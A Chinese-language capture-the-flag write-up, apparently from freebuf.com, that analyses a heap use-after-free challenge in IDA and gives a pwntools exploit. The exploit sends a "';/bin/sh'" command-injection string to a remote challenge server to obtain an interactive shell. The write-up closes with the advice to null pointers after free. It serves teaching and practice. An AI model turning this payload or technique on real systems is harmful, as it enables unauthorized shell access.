前言
此题是一道较为简单的堆,适合做分析,故此篇文章以分析思路为主,汇编层面的知识先不做讲解。此题考察的知识是uaf 漏洞,漏洞的本质是两条指针指向了同一块堆空间。此题巧妙之处在于有很多混淆知识,比如我们不能用1中的flag,必须要使用3中自己写的shellcode,下面我们来一起分析这题。
切入正题
首先我们使用checksec来查看一下
用ida打开,发现好多跳转函数
我们先运行一下,一边运行一边调
先执行一下,随便输入点东西,发现退出了
那我们接着用ida查看
这里我们看一下选项1中的函数
接下来我们进入switch循环的case1
sub_400D74
这个大体的意思就是在sub_400D74中输入字符串
sub_400c26
下面我们接着追溯到sub_400c26函数
fp为文件指针
sub_400CB5
strcpy(目的字符串,源字符串)进行copy
strspn(要检索的c字符串,要匹配的列表)
意思就是做一个搜索
sub400c7e
这个函数就是free掉堆空间
选项3:
sub_400c26
这个的意思也是申请一段堆空间,不过这个没有字符串限制,之前在选项1中,是有一个字符串限制的,因为没有f。
uaf漏洞的标志就是这里,两段堆空间,当free掉一段堆空间的时候,上一层的指针并未消失,此时两段指针都同时指向新生成的空间,我们把shellcode写在新生成的空间中。
选项5:
选项4:
正好也来详细讲讲这个 __snprintf_chk函数
第一个参数是要被写入的内容
下面几个参数形成一一对应关系,前面的参数是大小,后面的参数是覆盖给第一个参数的内容。
在这道题中,我们需要做的是写一个shell后门,然后system进行利用。
最终的exp:
from pwn import *
context.log_level = 'debug'
#io = process('./3')
io = remote('111.200.241.244',50438)
def ptr(content):
io.sendline('1')
io.sendline(content)
#定义ptr,选型1,随便传入一个规定字符
def value(content):
io.sendline('3')
io.sendline(content)
#选项3,进行写shell
def Free():
io.sendline('5')
io.sendline('N')
#选项5,free堆空间
def exp():
io.sendline('4')
io.interactive()
#选项4,进行组合
ptr('a')
Free()
value("';/bin/sh'")
exp()
#调用自己写的exp
UAF总结:
最终在远程打通
小结
这道题很好的解释了uaf漏洞,也告诉我们在我们使用c语言堆空间,如果要想清空堆空间,那么在free掉之后一定要把原来的指针置为空,这样可以规避掉uaf漏洞。
来源:freebuf.com 2021-06-23 11:47:57 by: 星云博创科技有限公司
请登录后发表评论
注册